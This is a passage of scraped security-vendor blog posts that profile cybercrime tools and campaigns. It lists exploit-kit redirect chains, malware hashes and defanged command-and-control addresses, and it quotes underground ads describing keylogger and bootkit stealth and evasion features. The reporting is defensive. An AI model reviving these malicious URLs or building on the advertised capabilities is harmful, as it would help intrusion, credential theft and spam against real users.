Sample redirection chain: *hxxp://212.75.18.190:80/texas.html -> hxxp://www.rkconnect.com:80/cjc.jar – > hxxp://www.rkconnect.com:80/83.html -> hxxp://ewhynwox.ru:80/newbos3.exe -> hxxp://jacobslpc.netne.net:80/n.htm_PSEUDO_RANDOM_CHARACTERS*

Java exploit **MD5: 590adc78f8965c881efcb0328924f40b** – detected by 15 out of 46 antivirus scanners as HEUR:Exploit.Java.CVE-2012-1723.gen
Drops **MD5: 502537a985e21eb8ceccd246d1bb4289** – detected by 29 out of 45 antivirus scanners as Backdoor:Win32/Kelihos.F
Second dropped **MD5: 86f197e0353a97b630d9b1838520ade1** – detected by 23 out of 46 antivirus scanners as Trojan-PSW.Win32.Tepfer.iojc

Once executed, **MD5: 86f197e0353a97b630d9b1838520ade1** phones back to **62.84.60.29:80** and to **hxxp://31.128.186.162/login.htm** . Once executed, **MD5: 502537a985e21eb8ceccd246d1bb4289** phones back to **hxxp://159.224.2.196/index.htm** and **hxxp://109.86.195.130/index.htm** .

Now let’s sample the Black Hole Exploit Kit redirecting campaigns using the same theme, and also launched during the events from last week.

Sample redirection chain: *hxxp://alltomforsakringar.nu/cnn_boston.html -> hxxp://thesecondincomee.com/news/agency_row_fixed.php -> hxxp://thesecondincomee.com/news/agency_row_fixed.php?uf=1l:30:1l:1g:1j&ye=1n:1g:2v:1f:1l:32:1h:1f:31:30&t=1f&dh=v&cu=m&jopa=*

Java exploit **MD5: 26fbf13938b42848a5f4fdb4c0507303** – detected by 8 out of 46 antivirus scanners as HEUR:Exploit.Java.CVE-2012-0507.gen
PDF exploit **MD5: 6d254436947947d6ff37dd8f62ec50e6** – detected

by 26 out of 46 antivirus scanners as PDF:Exploit.PDF-JS.ZB
Drops **MD5: 59ef50a8bca626f0e2b1d86c43e810fc** – detected by 1 out of 46 antivirus scanners as Troj/EncProc-K
MD5: f1dd872dbb87d019ecc82bfe7169cb21 – detected by 1 out of 46 antivirus scanners as Troj/EncProc-K
And **MD5: c385ad235959c66a4a76eec41aa36fed** – detected by 1 out of 46 antivirus scanners as Troj/EncProc-K

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

CAPTCHA-solving Russian email account registration tool helps facilitate cybercrime - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Just how challenged are cybercriminals when they're being exposed to **CAPTCHAs** in 2013?

Not even bothering to "solve the problem" by themselves anymore, thanks to the cost-efficient, effective, and fully working process of **outsourcing the CAPTCHA solving process to humans** thereby allowing the cybercriminals to abuse any given Web property, as if it were multiple humans actually performing the actions.

In this post I'll profile an automatic CAPTCHA-solving (Russian) email account registration tool which undermines the credibility of Russia's major free email service providers by allowing cybercriminals to register tens of thousands of bogus email accounts.

More details:

Originally available on the Internet since August, 2011, the tool remains one of the most popular DIY automatic CAPTCHA-solving tools for abusing major Russian email/service providers such as @mail.ru, @list.ru, @bk.ru, @inbox.ru, @qip.ru, @pochta.ru, @fromru.com, @front.ru, @hotbox.ru, @hotmail.ru, @krovatka.su, @land.ru, @mail15.com, @mail333.com, @newmail.ru, @nightmail.ru, @nm.ru, @pisem.net, @pochtamt.ru, @pop3.ru, @rbcmail.ru, @smtp.ru, @5ballov.ru, @aeterna.ru, @ziza.ru, @memori.ru, @photofile.ru, @fotoplenka.ru, @pochta.com, thanks for the persistent updates issued on behalf of the developer.

Sample screenshots of the DIY tool in operation:

Some of its features include:

[+] Multi-threaded check mailboxes [+] Work through HTTP / HTTPs / Socks4 / Socks4a / Socks5 Proxy Services (Private login / password and public) [+] Solving a CAPTCHA – services manual [+] Keeps statistics from CAPTCHA solving services [+] Advanced login generator (by last name/name/from the database logins/syllable by syllable to the setting of generation) [+] Error counter and adjustable automatic stop when you reach the limit of registration errors [+] Large base of male/female names for auto-fill data [+] To automatically select a different login before entering the CAPTCHA, if the current busy (as configured) [+] All the accounts are kept easy to view and edit the list in the database where you can store in the standard lists [+] Can pre-edit generated logins and account data [+] Custom save the list (choice of separator/outlet data) [+] Adjustable loading external files from the list of accounts to register [+] Custom notifications on the status of registration [+] Multi-threaded downloads letters registered mail boxes [+] Custom sound effects for the event (can be switched off) [+] To download lists of proxy servers with pre-defined URL [+] To update the list of proxy servers during the course registration [+] Can register through DYNAMIC IP [+] Option sorting/mixing of the list of accounts [+] Checking accounts MAIL.RU/QIP.RU operation through the WEB-interface

What would a cybercriminal do with all of these automatically registered bogus accounts? He'll either monetize them by offering the accounts for sale, start directly spamming through them in an attempt to take advantage of DomainKeys verified nature of the services where applicable, or use them to **register hundreds of potentially fraudulent or malicious domains** .

With its recently introduced support for MySQL, the tool's features successfully differentiate it from the rest of the DIY automatic email account registration tools available on the Internet, with the tool continuing to enjoy a high market share, according to our observations of its progress over the last couple of years.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DIY SIP-based TDoS tool/number validity checker offered for sale - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Over the past year, we observed an increase in publicly available managed **TDoS (Telephony Denial of Service) services** . We attribute this increase to the achieved 'malicious economies of scale' on behalf of the cybercriminals operating them, as well as the overall availability of proprietary/public **DIY phone** ring/**SMS-based TDoS tools** .

What are cybercriminals up to in terms of TDoS attack tools? Let's take a peek inside a recently released DIY SIP-based (**Session Initiation Protocol**) flood tool, which also has the capacity to validate any given set of phone numbers.

More details:

Sample screenshot of the DIY SIP-based TDoS tool/number validity checker:

Second screenshot of the DIY SIP-based TDoS tool/number validity checker:

Third screenshot of the DIY SIP-based TDoS tool/number validity checker:

The tool can flood any given number based on the preferences of its users, can work with multiple SIP accounts, has built-in 'auto-correct' feature for the list of mobile/phone numbers, as well as logging capabilities. The example offered by the tool's author, appears to be using a service called SIPNET.

The price varies between $35-$60 depending on the features you'd like to purchase it with. However, in its current forum, the tool fails to delivery the necessary features to cause a widespread adoption across the cybercrime ecosystem, vendors of TDoS in particular.

Since the tool's developer is publicly acknowledging that he's working on a Pro version, we'll make sure to keep an eye on the next version, and it's potential among the cybercriminals using it.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY Russian mobile number harvesting tool spotted in the wild - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Earlier this year we profiled a newly released **mobile/phone number harvesting** application, a common tool in the arsenal of mobile spammers, as well as **vendors of mobile spam services** . Since the practice is an inseparable part of the mobile spamming process, cybercriminals continue periodically releasing new mobile number harvesting applications, update their features, but most interestingly, continue exclusively targeting Russian users.

In this post, I'll profile yet another DIY mobile number harvesting tool available on the underground marketplace since 2011, and emphasize on its most recent (2013) updated feature, namely, the use of proxies.

More details:

Sample screenshot of the DIY Russian mobile number harvester:

Next to Russian mobile numbers, the tool has the capacity to (recursively) harvest proxies and email addresses. What's worth emphasizing on regarding this particular tool is that, it took its author two years to (publicly) introduce a new feature, in this case, the use of proxies, a handy feature when interacting with sites who may challenge the Web session with a CAPTCHA. What seems to be the reason behind this slow development process? It's the fact that the author maintains a portfolio of related automatic account registration, mass SMS sending and pseudo-anonymous email sending tools – leading us to the conclusion that those who generate most of his revenue, naturally get most of his coding attention.

Despite the fact that compared to the **previously profiled mobile/phone number harvesting tool** , this one appears to be a low priority project for its developer. We'll continue monitoring its development and post updates as soon as new features get introduced.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A Peek Inside A Commercially Available Remote Access Tool | Webroot

facebook linkedin twitter

By Dancho Danchev

In an attempt to add an additional layer of legitimacy to their malicious software, cybercriminals sometimes simply reposition them as **Remote Access Tools, also known as R.A.Ts** . What **they seem to be forgetting** is that **no legitimate Remote Access Tool** would possess any spreading capabilities, plus, has the capacity to handle tens of thousands of hosts at the same time, or possesses built-in password stealing capabilities. Due to the nature of these programs, they have also become known as Remote Access (or Admin) Trojans.

Pitched by its author as a Remote Access Tool, the **DIY (do it yourself)** malware that I'll profile in this post is currently cracked, and available for both novice, and experienced cybercriminals to take advantage of at selected cybercrime-friendly communities.

More details:

The first time we came across the underground market ad promoting the availability of the DIY malware was in June 2012 and offered for sale for $1,000. Then in October 2012, a cracked and fully working version of the DIY malware leaked on multiple cybercrime-friendly communities, potentially undermining the monetization attempted by its author.

The Web/Client based release has numerous features, presented in a point-and-click fashion, potentially empowering novice cybercriminals with a versatile set of online spying capabilities. Let's go through some screenshots to demonstrate the capabilities of this particular (cracked) underground market release.

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Sample screenshot of the DIY Web/Client based malware:

Cracked malware releases either cease to exist since the cybercriminal behind them has failed to monetize his release in the initial phrase, continue being developed as private releases, or become adopted by novice cybercriminals taking advantage of today's **managed malware crypting services** to ensure that the actual **payload remains undetected** before it is distributed to the intended target(s).

We'll continue monitoring the development of this RAT software/DIY malware, in particular, whether or not its developer will continue working on it, now that there are leaked versions of it available online.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

How mobile spammers verify the validity of harvested phone numbers - part two - Webroot Blog

facebook linkedin twitter

Just as we anticipated earlier this year in our "**How mobile spammers verify the validity of harvested phone number** " post, mobile spammers and cybercriminals in general will continue ensuring that QA (Quality Assurance) is applied to their upcoming campaigns. This is done in an attempt to both successfully reach a wider audience and to charge a higher price for a verified database of mobile numbers.

In this post I'll profile yet another commercially available phone/mobile number verification tool that's exclusively supporting Huawei 3G USB modems.

More details:

Sample screeshot of the phone/mobile number 3G USB modem based verification tool:

Second screeshot of the phone/mobile number 3G USB modem based verification tool:

The phone/mobile number verification tool supports an unlimited number of Huawei 3G USB modems, can hide the Caller ID, can play any kind of sound file to a dialed number, and can also send SMS messages to any of the tested numbers. The price? 2000 rubles ($64.46).

Despite the fact that the tool allows the cybercriminal to send multiple types of SMS messages to a prospective victim, this wouldn't prove to be a cost-effective solution for mass SMS-ing tens of thousands of users, unless of course the credit on the SIM cards has been obtained through fraudulent means. In this case, what would be the market trending tactic of choice for cybercriminals? It's outsourcing to a **vendor of managed SMS spam services** , which would result in a **higher quality standard applied to the campaign**

, as well as a cost-effective alternative for the them to take advantage of due to the achieved ‘malicious economies of scale’ on behalf of the vendor.

We’ll continue monitoring this market segment, and post updates as soon as new services emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals offer spam-friendly SMTP servers for rent - Webroot Blog

facebook linkedin twitter

In times when modern cybercriminals take advantage of the built-in SMTP engines in their malware platforms, as well as efficient and systematic abuse of Web-based email service providers for mass mailing fraudulent or malicious campaigns, others seem to be interested in the resurrection of an outdated, but still highly effective way to send spam, namely, through spam-friendly SMTP servers.

In this post, I'll profile a recently posted underground market ad for spam-friendly SMTP servers, offered for sale for $30 on a monthly basis.

More details:

Sample screenshot of the service:

Second screenshot of the service:

The starting package includes 20GB disk space, one SMTP server, and the capacity to send out 700k spam emails, followed by the optimal package which includes 3 SMTP servers, 10GB disk space, and the capacity to send out 2 million emails on a monthly basis. Last but not least is the Hurricane package with unlimited disc space, 10 SMTP servers, and the ability to send out 7 million emails on a monthly basis.

The domain promoting the service is hosted within **Veraton Projects LTD's network** , a questionable hosting provider offering managed access to "offshore" servers, VPS, and domain name registration services.

Sample

Sample:

Sample:

Sample:

Sample:

Although these services have the potential to offer an efficient and most importantly bullet proof network infrastructure for cybercriminals to take advantage of, we doubt that this particular vendor has the expertise and the know how to remain online long enough to continue offering the spam-friendly SMTP servers for rent.

We'll continue monitoring this service, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

American Airlines 'You can download your ticket' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Cybercriminals are currently spamvertising tens of thousands of emails impersonating **American Airlines** in an attempt to trick its customers into thinking that they've received a download link for their E-ticket. Once they download and execute the malicious attachment, their PCs automatically join the botnet operated by the cybercriminal/gang of cybercriminals behind the campaign.

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs participating in the campaign: *hxxp://www.biketheworld.net/components/.k9q1kh.php?request=ss00_323 hxxp://www.bikeforcourage.com/components/.0y5ygh.php?request=ss00_323 hxxp://www.bindsteinhuette.info/components/.pyhhrz.php?request=ss00_323 hxxp://www.bioks.info/components/.woos4r.php?request=ss00_323*

Detection rate for the malicious executable: MD5: f17ee7f9a0ec3d7577a148ae79955d6a – detected by 10 out of 46 antivirus scanners as Mal/Weelsof-D

Once executed, the sample phones back to the following C&C servers: ***202.52.136.27*** */798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A72A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7D2406F547* ***80.67.6.226*** */798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7*

2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***80.67.6.226/*** *private/sandbox_status.php* ***78.142.63.165***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***202.52.136.27***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***178.32.136.84***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***180.235.132.29***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***94.23.254.90***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***91.121.156.162***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***94.23.254.90***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***68.233.32.145***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7
D2406F547 ***68.233.32.146***
/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E
445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A7
2A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7

D2406F547

180.235.133.70

/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A72A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7D2406F547

87.106.26.231

/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A72A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7D2406F547

94.23.254.90

/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A72A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7D2406F547

68.233.32.145

/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A72A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7D2406F547

193.23.226.15

/798475540DFA75FE5945D24FA5CBF9A5578EB293595AAF8C6E445FAE8464227079DAED1AC61062B271D16CAB2E483FB5830A72A3104DF0644E2AEC46CB62E9598B13036FBDD8DE367F41EF7D2406F547

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a 'life cycle aware' underground market ad for a private keylogger - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

What's greed to some cybercriminals, is profit maximization to others, especially in times when we're witnessing the maturing state of the modern cybercrime 'enterprise'. Many enter this vibrant marketplace as vendors without really realizing that, thanks to the increasing transparency within the cybercrime ecosystem, their basic and valued added services will be directly benchmarked against a competing vendor, sometime rendering their unique value proposition completely irrelevant. Others will take a different approach by releasing a 'life cycle aware' underground market ad and will still manage to generate some revenue, as well as secure a decent number of customers in the long-term.

In this post, I'll profile a 'life cycle aware' underground market ad for a private keylogger, relying on a limited number of licenses for its business model.

More details:

Sample description of the private keylogger:

The main advantages over other keyloggers, including Keylogger Detective: – Low-level cover-up of the process from the task manager (tested on Windows 7, Vista, XP) – Write to the log of the current URL, which quietly "pulled out" from the browser in real time (tested in Chrome, Opera, Firefox, IE)

General characteristics: – Hide the process from Task Manager (Pro Edition) – Edinokratnoe copy itself in startup and recording the first run – Mark the beginning of the entries in the log – Record all keys (Russian / English layout) and click in the log file – Record title of the active window to a log file – Record the current keyboard layout to a log file – Write the current URL with a browser to a log file

– Sending logs to the post office / local storage on a computer – In the absence of internet logs piling up and sent immediately if the connection to the Network

Standard Edition – The size of 19 KB – The average consumption of RAM 6 MB – Build for each client, it is sewn up your mail (preferred to have a new one on mail.ru) – When the log file size is 10 KB for sending your mail log file is cleared – Of these characteristics is not only hiding from the task manager – The value of 1000 rubles.

Pro Edition – The size of 24 KB – The average consumption of memory 12 MB – Build for each client, it is sewn up your mail (preferred to have a new one on mail.ru) – When the log file size is 10 KB for sending your mail log file is cleared – Works hiding from the task manager – The value of 1200 rubles.

Local Edition – The size of 19 KB – The log file is stored on your computer, the information is accumulated over time – Hiding from the task manager – your choice – The cost of 500/600 rubles.

Free Console Edition – A free demo version of the program as a guarantee of performance – All the information is displayed in the console – There is no hiding from the manager

Sample screenshot of the private keylogger in action:

Second screenshot of the private keylogger in action:

Third screenshot of the private keylogger in action:

It’s not a common practice for a cybercriminal to issue a limited number of licenses for his release. In fact, he’ll often do his best to maintain an identical profile with an identical underground market proposition across multiple cybercrime-friendly communities in an attempt to **expand his operations** . Issuing a limited number of releases, prevents the cybercriminal from gaining a bigger market share, and actually growing his business model. That’s unless of course he starts collecting a monthly fee for maintaining the fraudulent/malicious project in action, which although would secure him a revenue stream in the long-term, once again results in a limited market share gain.

Whether it's greed or profit maximization, cybercriminals will continue looking for efficient and automated ways to defraud tens of thousands of users on a daily basis, while preserving their online anonymity by utilizing basic **risk-forwarding tactics** .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Your order for helicopter for the weekend' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing tens of thousands of emails, in an attempt to trick users into thinking that the order for their “air transportation services has been accepted and processed”. In reality though, once users execute the malicious attachments, their PCs will automatically become part of the botnet managed by the malicious actors.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment: **MD5: 97c9c3b4d50171a07305f91c1885ef9f** – detected by 24 out of 43 antivirus scanners as Worm:Win32/Cridex.E

Once executed, the sample creates the following processess on the affected hosts: *C:WINDOWSsystem32cmd.exe” /c “C:DOCUME~1<USER>~1LOCALS~1Tempexp1.tmp.bat”” C:Documents and Settings<USER>Application DataKB00927107.exe C:DOCUME~1<USER>~1LOCALS~1Tempexp2.tmp.exe C:DOCUME~1<USER>~1LOCALS~1Tempexp4.tmp.exe C:DOCUME~1<USER>~1LOCALS~1Tempexp6.tmp.exe C:WINDOWSsystem32cmd.exe” /c “C:DOCUME~1<USER>~1LOCALS~1Tempexp3.tmp.bat”” C:WINDOWSsystem32cmd.exe” /c “C:DOCUME~1<USER>~1LOCALS~1Tempexp5.tmp.bat””*

The following Mutexes: *LocalXMM00000340 LocalXMI00000340 LocalXMM00000530 LocalXMI00000530 LocalXMM00000630 LocalXMI00000630 LocalXMQ6C66A66E LocalXMS6C66A66E LocalXMR6C66A66E LocalXMM000002BC LocalXMI000002BC LocalXMM000000A8 LocalXMI000000A8 LocalXMM000004A0*

LocalXMI000004A0 LocalXMM000009A4 LocalXMI000009A4 LocalXMM00000A48 LocalXMI00000A48 LocalXMM00000EDC LocalXMI00000EDC

The following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B*

Set the following Registry Values: *[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> KB00121600.exe = ""%AppData%KB00121600.exe""*

It then phones back to the following C&C servers: *37.59.36.93:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/ 94.23.6.95:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/ 64.186.148.92:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/ 213.214.74.5:8080/AJtw/UCyqrDAA/Ud+asDAA/ 91.121.167.124/J9/vp//EGa+AAAAAA/2MB9vCAAAA/ 91.121.30.185/J9/vp//EGa+AAAAAA/2MB9vCAAAA/*

We've already seen one of the C&C IPs (**213.214.74.5**) in the following previously profiled malicious campaigns:

'Your Kindle e-book Amazon receipt' themed emails lead to Black Hole Exploit Kit Cybercriminals resume spamvertising 'Re: Fwd: Wire Transfer' themed emails, serve client-side exploits and malware Spamvertised BBB 'Your Accreditation Terminated" themed emails lead to Black Hole Exploit Kit

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DIY Skype ring flooder offered for sale - Webroot Blog

facebook linkedin twitter

Thanks to the ease of generating a botnet, in 2013, stolen accounting data on a mass scale is a no longer a hot underground item, it’s a commodity, one that’s being offered by virtually all participants in the cybercrime ecosystem.

What happens once a Skype account gets compromised? There are several possible scenarios. The cybercriminals that (automatically) compromised it will either use the Skype credit for their own purposes, start spreading malware to the friends/colleagues of the compromised victim, or feed the accounting data into their arsenal of tools and tactics for launching **TDoS (Telephony Denial of Service) services** .

In this post, I’ll profile a novice cybercriminal’s underground market proposition, consisting of a DIY Skype ring flooder+training+a small amount of credit on a Skype account available in the package, and emphasize on why this particular release will never gain any market share, compared to the sophisticated and publicly available managed services.

More details:

Sample screenshot of the DIY Skype rings flooder in action:

Second screenshot of the DIY Skype rings flooder in action:

The ring flooder works in a fairly simple way. Once the program detects a running Skype application, it will automatically start dialing any given number within a particular interval. It doesn’t support multiple accounts, or **malware-infected hosts as anonymization proxies** , making it a low level threat with a surprisingly high price, in this case, 490 rubles ($15.67).

Ring-based **DIAL (Digitally Initiated Abuse of teLephones)** type of attacks are just the tip of the iceberg, given the fact that cybercriminals also have access to SMS-based DoS (Denial of

Service) attack tools, like the ones we've been profiling in previous posts:

Russian cybercriminals release new DIY SMS flooder New Russian DIY SMS flooder using ICQ's SMS sending feature spotted in the wild Cybercriminals abuse major U.S SMS gateways, release DIY Mail-to-SMS flooders Cybercriminals abuse Skype's SMS sending feature, release DIY SMS flooders

What's the driving force behind the author's decision to charge this rather high price for his release? It's due to the fact that he's still thinking that **underground market transparency** doesn't exist, allowing him to change a premium for a low quality "product". And with underground marketplace transparency now an every day reality for the average cybercriminal, combined with vouching/invite-only registration model, escrow services, and Q&A oriented done on behalf of a community's administrators before verifying the trusted nature of the deal, the entire ecosystem is empowered with the information flow generated by all the fraudulent and malicious activity going on online.

With some of the market participants already 'vertically integrating' in order to occupy a bigger market share of this emerging market segment, next to ring or SMS based TDoS/DIAL attacks, we expect them to continue capitalizing on the numerous malicious opportunities presented to them, and start targeting a victim's voice mail in an automated fashion.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

A peek inside the 'Zerokit/0kit/ring0 bundle' bootkit - Webroot Blog

facebook linkedin twitter

In a diversified underground marketplace, where multiple market players interact with one another on a daily basis, there are the “me too” developers, and the true “innovators” whose releases have the potential to cause widespread damage, ultimately resulting in huge financial losses internationally.

In this post, I’ll profile one such underground market release known as as “**Zerokit, 0kit or the ring0 bundle** ” bootkit which was originally advertised at a popular invite-only/vetted cybercrime-friendly community back in 2011. I’ll emphasize on its core features, offer an inside peek into its administration panel, and discuss the novel “licensing” scheme used by its author, namely, to offer access to the bootkit in exchange for tens of thousands of malware-infected hosts on a monthly basis.

More details:

Sample description of the underground market release:

Features: *– Start of *.exe, *.dll (*.dll is in a pre-alpha stage) and shellcodes in a context of the chosen process. – Start of files from a disk and from the memory* (start from memory is in a pre-alpha stage). – Start of files with specified privileges: CurrentUser and NT SYSTEM/AUTHORITY. – Granting the protected storehouse** for off-site (your) ring3-solutions for permanent existence in the system without need of crypt. – Survivability of the bundle, down to a reinstallation of the system. – All the components are stored outside of a file system and are invisible to OS. – Intuitively clear interface of admin-panel. – Protection against the abstraction of Admin Panel. – Impossibility of detection of the bundle in the working system by any of known AV/rootkit scanner, owing to the use of author’s technologies of concealment. The unique opportunity of detection exists only at loading with livecd or scanning of a disk from the other* *computer. Thus the opportunity of detection is also extremely improbable, as own algorithms of a mutation are used.*

** Start of a file from the memory allows to bypass all modern proactive protection and AV-scanners, that is, there is no necessity to crypt a file. ** Protected storehouse is the original ciphered file system in which the certain quantity of files which will be started from the memory at each start of the OS can be stored.*

***The bundle consists of:** – Bootkit. It is responsible for the start of the basic modules at a stage of loading of OS. – Driver. It is responsible for all infrastructure and implements componential business-logic on the basis of so-called mod (functional unit). That is, the driver is not a legacy driver (monolithic), and consists of the set of mods that allows to operate the bundle with maximum of flexibility, and to protect (hard to reverse), update and expand it. – Dropper. At the current moment it brake out all machines with the patches till January, 8th, 2011, except for XP x32/x64 where reloading is initiated. If the systems distinct from XP have latest updates reloading is initiated as well. – User friendly Admin Panel.*

***Also I will give support to clients within the subscription fee. I provide them with:** – Development of new functionality and – Development of new exploits for the dropper. – Perfection of algorithms of concealment and penetration of the system.*

High scalability of zerokit allow to develop additional mods and to complicate business-logic of all infrastructure.

Zer0kit have flexible update subsystem and can live in system as long as possible. Also zerokit has considered and provable logic to prevent the lost of bots.

